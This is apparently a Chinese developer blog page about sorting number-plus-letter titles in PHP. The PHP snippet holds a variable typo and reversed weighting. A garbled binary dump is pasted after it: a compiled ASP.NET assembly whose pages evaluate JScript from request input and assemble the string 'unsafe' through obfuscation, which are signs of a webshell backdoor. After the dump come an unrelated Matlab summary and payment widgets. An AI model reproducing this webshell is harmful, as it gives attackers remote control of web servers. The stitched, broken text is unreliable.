PHP实现1 2 2A 3A 4类似这种排序需求

本文介绍了一种针对数字后跟字母的字符串排序算法,通过正则表达式解析数字与字母,利用数字乘以权重和ASCII码值计算综合排序权重,确保了先按数字大小后按字母顺序的正确排序。

需求如下,客户输入标题
3F
2A
1
1L
2
9D
10A
3
排序结果变成
1
1L
2
2A
3
3F
9D
10A
标题可能为纯数字,也可能数字后面带字母,首先按照数字大小排序,如果后面跟字母的话,再根据字母排序
我是这样做的,排序吗,首先对数据进行第一轮处理,把所有数据格式统一,首先写一个非常简单的正则表达式
/^(\d+)(.*)$/ 这个正则匹配两个东西,首先是前面的数字,然后是后面的ABC这种编号
preg_match("/^(\d+)(.*)$/", '3F', $matches)
那么结果如下

Array
(
    [0] => 3F
    [1] => 3
    [2] => F
)

$matches[1] 的内容是我们要匹配的数字
$matches[2]的内容是后面可能会有的字母编号

首先要个每个数组元素配置一个权重

下一步看看是否存在字母标号

if(!empty($matches[2])) {
	// 首先要减去一个权重,这个权重就是数字*10000,我们保留10000个位置作为排序空间
	// 如果没有这一步的话只做ASCII表排序会出现这样一种问题 1D 会比 2A大,排序会出现问题
	$arrayElement['weight']  -= $maches[1] * 10000;
	// 如果存在后面的字母标号,相加ASCII码标号,就可以拿到最后的这个权重了
	if (!empty($matches[2])) {
		for ($i = 0; $i < strlen($matches[2]); $i++) {
    	 	$arrayElement['weight'] +=  ord($matches[2][$i]);
	     }
	}
}

后面使用这个$arrayElement['weight']字段进行排序就可以了

MZ?  ? @ € ? ???L?This program cannot be run in DOS mode.$ PE L 佾薶 ? ! 0 嶰 ` @ ? @? 4O W ` € 鐽 H .text ? 0 `.rsrc ` 2 @ @.reloc € 6 @ B pO H h, €"  0   o ( t  8 *0 8 * 0  o ( t  8 *0  * 0  * 0 T ( ( ri p( ~ @! ?  ri p?( € € ( €蒙( *0 o ? s ( * 0 ? %r? p? s ?r? p? s ?r? p? s ?r? p? s ?o ( ? r? pr p? ? %rG p? s ?rQ p? s ?r] p? s ?rg p? s ?r? po ( (s (s (s (s ( r" p( l &#39; ? ( o ( t { %??? ? o ( t$ o o ( o ( o ( t { %歵 ? %歵 ? %?( &(! (! (! (! &o ( t { %??? ?? ? o (" &?A ^ ? ? 0 $ r? p r pr p ( 8 *0 $ (# ( ~ ($ ( (% *0 8 * 0 (& *0 { 3? (&#39; } { *0 } *0   o ( t  8 *0 8 * 0  o ( t  8 *0  * 0  * 0 T ( ( r. p( ~ @! ?  r. p?( € € ( €蒙( *0 o ? s ( * 0 ? %r? p? s ?r? p? s ?r? p? s ?r? p? s ?o ( ? r? prt p? ? %rG p? s ?rQ p? s ?r] p? s ?rg p? s ?r? po ( (s (s (s (s ( r" p( l &#39; ? ( o ( t { %??? ? o ( t$ o o ( o ( o ( t { %歵 ? %歵 ? %?( &(! (! (! (! &o ( t { %??? ?? ? o (" &?A ^ ? ? 0 $ r? p r pr p ( 8 *0 $ (# ( ~ ($ ( (% *0 8 * 0 (& *0 { 3? (&#39; } { *0 } *0  * 0 s %? (&#39; o( 8 * 0 s %? (&#39; o( 8 * 0  * 0 () (& * 0 { 3? (&#39; } { *0 } *0 %{ ( * 0 R r p{ ( r+ p{ ( ri p{ ( r p{ ( r? p{ ( r? p{ ( r# p{ ( rQ p{ ( r? p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( r/ p{ ( rG p{ ( r} p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( ra p{ ( * 0 %{ ( * 0 R r p{ ( r+ p{ ( ri p{ ( r p{ ( r? p{ ( r? p{ ( r# p{ ( rQ p{ ( r? p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( r/ p{ ( rG p{ ( r} p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( ra p{ ( * 0 %{ ( * 0 r? p{ ( * BSJB  v4.0.30319 l ? #~ ` ? #Strings 4 ? #US ? #GUID € #Blob W? ?3  , ) . 5  ? ? ? ?  &? 3= S? Z? b? n? ?? ?? ?? ?5 ? ? *? 1? C? O? [? k? z? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? $? 0? 6? F? X? ]? e y? ?? ?? ?? ?        5 )   9 5 )  Z  d ! n ? u # =] K` ? ?c =] K` ? ?c ? ?c 4) %  P) +  P ?7  t ?C"  ? ?Y&  ? q+  ?  x/  ? %/  0! ? ~3  X! ? ?9 ? ?A ? ? ?/ ? ? H $ ? L $ A )R D$ A 3W X$ ?7 |$ ?C" ? ?Y& ? q+ ?  x/ ? %/ 8% ? ~u `% ? ?9 ? ?A ? ? ?/ ? ? H ( ? L ( A )R L( A 3W ? % ? + ,, % H, + `( q+ p( ?{ ? ?{ ?  x/ ? %/ ? A )R ) A 3W  ?  ? ?  ? ?  !  ?  ? ?  ? ?  ! ! % ! % %/  c % ) ? 1 ? i %/ Q %/ q &? Q A? Q \? ? g? Q y? ? 7? ? Y? Q ?/ ? %? ? %? ? ?? ? %? 9 )R ? ?? y ?? ? ?? %? Q ?? ?? ?? ! ? !&#39;  )< 1L U ! c Q ?/ Q s  ?/ Q L ! ?$9 3W ? %/ 9%+A%1I%7Y%? a%? . s?. s#. S?. [?. c?. k?. s?. sE. s?. sM. s?. s. sk. s?. s. sf. s?. s(. sw. s?. sD . s?. s?. s:. s?. s?. sY . s?. s . sX . s?. s . sb. s?C }c }? }? }? } 3 } 3 }@? ?`? ?€3 }?3 }?3 }?3 }?3 } ? ? ? ?@3 }`3 }€3 }>CGLOUY\` nuy  ^g fl xp ^g fl xp ) Q : ) < Q P ) R Q € ?  ? ?  ? ? ? <Module> JScript 0 sign_img_202509080317086930_aspx ASP sign_img_202509180247002980_aspx JScript 1 JScript 2 FastObjectFactory_app_web_jejbhpgl __ASP Microsoft.JScript mscorlib System.Web App_global.asax.c-xopvmi System GlobalScope CompilerGlobalScopeAttribute System.Runtime.CompilerServices ScriptObject VsaEngine Microsoft.JScript.Vsa Import Package INeedEngine IRequiresSessionState System.Web.SessionState IHttpHandler Page System.Web.UI DefaultProfile System.Web.Profile global_asax DebuggerNonUserCodeAttribute System.Diagnostics TemplateControl String HttpServerUtility HttpContext ProfileBase HttpApplication HtmlTextWriter Control JSFunctionAttribute JSFunctionAttributeEnum RenderMethod ScriptFunction JSLocalField RuntimeTypeHandle StackFrame Object FunctionDeclaration Closure NumericUnary HttpRequest Int32 StringPrototype IActivationObject Eval Convert DebuggableAttribute GeneratedCodeAttribute System.CodeDom.Compiler SecurityRulesAttribute System.Security SecurityRuleSet TargetFrameworkAttribute System.Runtime.Versioning ReferenceAttribute .ctor Global Code get_Profile get_SupportAutoEvents get_ApplicationInstance .cctor .init __BuildControlTree __ctrl __Render__control1 __w parameterContainer __Render__control1.EHI7Koop this vsa Engine FrameworkInitialize GetTypeHashCode ProcessRequest context GetEngine SetEngine __initialized __fileDependencies Profile SupportAutoEvents ApplicationInstance __Render__control1.EHI7Koop:1 Create_ASP_sign_img_202509080317086930_aspx Create_ASP_sign_img_202509180247002980_aspx engine JScriptImport JScriptPackage set_AppRelativeVirtualPath GetWrappedFileDependencies get_Server set_ScriptTimeout get_Context InitializeCulture SetRenderMethodDelegate PushStackFrameForMethod Concat JScriptFunctionDeclaration get_Request get_Item substring ScriptObjectStackTop localVars GetDefaultThisObject JScriptEvaluate ToString EvaluateUnary PopScriptObject AddWrappedFileDependencies ValidateInput CreateEngineWithType App_Web_jejbhpgl JScript Module )S y s t e m . C o n f i g u r a t i o n =S y s t e m . T e x t . R e g u l a r E x p r e s s i o n s S y s t e m . W e b &#39;S y s t e m . W e b . S e c u r i t y ES y s t e m . W e b . U I . W e b C o n t r o l s . W e b P a r t s 5S y s t e m . C o l l e c t i o n s . G e n e r i c -S y s t e m . W e b . D y n a m i c D a t a =S y s t e m . C o l l e c t i o n s . S p e c i a l i z e d S y s t e m . X m l . L i n q %S y s t e m . C o l l e c t i o n s S y s t e m . L i n q S y s t e m . W e b . U I %S y s t e m . W e b . P r o f i l e S y s t e m . T e x t 5S y s t e m . W e b . U I . H t m l C o n t r o l s %S y s t e m . W e b . C a c h i n g S y s t e m 3S y s t e m . W e b . U I . W e b C o n t r o l s /S y s t e m . W e b . S e s s i o n S t a t e KS y s t e m . C o m p o n e n t M o d e l . D a t a A n n o t a t i o n s A S P E~ / s i g n / I m g / 2 0 2 5 0 9 0 8 0 3 1 7 0 8 6 9 3 0 . a s p x _ _ w %p a r a m e t e r C o n t a i n e r E H I 7 K o o p F i V e T Z u a f e n s 7_ _ R e n d e r _ _ c o n t r o l 1 . E H I 7 K o o p G E P H A F 7 I z C J 1 6 r e t u r n v a l u e €焒 u n c t i o n E H I 7 K o o p ( ) { v a r G E P H = " u " , A F 7 I z = " a f e " , C J 1 6 = G E P H + " n s " + A F 7 I z ; r e t u r n C J 1 6 ; } h e l l o E~ / s i g n / I m g / 2 0 2 5 0 9 1 8 0 2 4 7 0 0 2 9 8 0 . a s p x ;_ _ R e n d e r _ _ c o n t r o l 1 . E H I 7 K o o p : 1 _ _ A S P 咻?7(B暩\鉘 ? ?_?:穤\V4鄩  - 1    QU E  - 1      A  E I M ]  a m i }mi €?    m   €? -  1 e e€?€?€?€?     &    ASP.NET4.0.30319.42000   .NETFramework,Version=v4.8 f aSystem.Web.ApplicationServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 _ ZSystem.WorkflowServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 R MSystem.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 T OApp_global.asax.c-xopvmi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null \ WSystem.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 f aSystem.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 Y TSystem.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 P Kmscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 R MSystem.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a V QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a a \System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a _ ZSystem.ServiceModel.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 N ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 f aSystem.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 e `System.Data.DataSetExtensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 M HApp_Code.m6whmsnp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null ^ YSystem.Web.DynamicData, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 H CSKControlDll, Version=5.0.1.0, Culture=neutral, PublicKeyToken=null \ WSystem.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a S NSystem.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 m hSystem.ComponentModel.DataAnnotations, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 X SMicrosoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a L GWebRegisterPDARF, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null X SNewtonsoft.Json, Version=10.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed ] XSystem.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 S NSystem.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 W RSystem.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 [ VSystem.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a d _System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 [ VSystem.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 佾薶 - 1 RSDSv頺€鵈I戩U躃 uL App_Web_jejbhpgl.pdb \O ~O pO _CorDllMain mscoree.dll % @   €   0 €  H X` ? ?4 V S _ V E R S I O N _ I N F O ?稔  ? D  V a r F i l e I n f o $ T r a n s l a t i o n  ?  S t r i n g F i l e I n f o ?  0 0 7 f 0 4 b 0  C o m m e n t s $  C o m p a n y N a m e ,  F i l e D e s c r i p t i o n 0  F i l e V e r s i o n 0 . 0 . 0 . 0 L  I n t e r n a l N a m e A p p _ W e b _ j e j b h p g l . d l l (  L e g a l C o p y r i g h t ,  L e g a l T r a d e m a r k s T  O r i g i n a l F i l e n a m e A p p _ W e b _ j e j b h p g l . d l l $  P r o d u c t N a m e (  P r o d u c t V e r s i o n @ ? 解码并排序好这段代码
09-19
基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究(Matlab代码实现)内容概要:本文围绕基于序贯蒙特卡洛模拟法的配电网可靠性评估展开研究,重点介绍了利用Matlab代码实现该方法的技术路径。文中详细阐述了序贯蒙特卡洛模拟的基本原理及其在配电网可靠性分析中的应用,包括系统状态抽样、时序模拟、故障判断与修复过程等核心环节。通过构建典型配电网模型,结合元件故障率、修复时间等参数进行大量仿真,获取系统可靠性指标如停电频率、停电持续时间等,进而评估不同运行条件或规划方案下的配电网可靠性水平。研究还可能涉及对含分布式电源、储能等新型元件的复杂配电网的适应性分析,展示了该方法在现代电力系统评估中的实用性与扩展性。; 适合人群:具备电力系统基础知识和Matlab编程能力的高校研究生、科研人员及从事电网规划与运行的技术工程师。; 使用场景及目标:①用于教学与科研中理解蒙特卡洛模拟在电力系统可靠性评估中的具体实现;②为实际配电网的可靠性优化设计、设备配置与运维策略制定提供仿真工具支持;③支撑学术论文复现与算法改进研究; 阅读建议:建议读者结合提供的Matlab代码逐段理解算法流程,重点关注状态转移逻辑与时间序列模拟的实现细节,并尝试在IEEE标准测试系统上进行验证与扩展实验,以深化对方法机理的理解。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值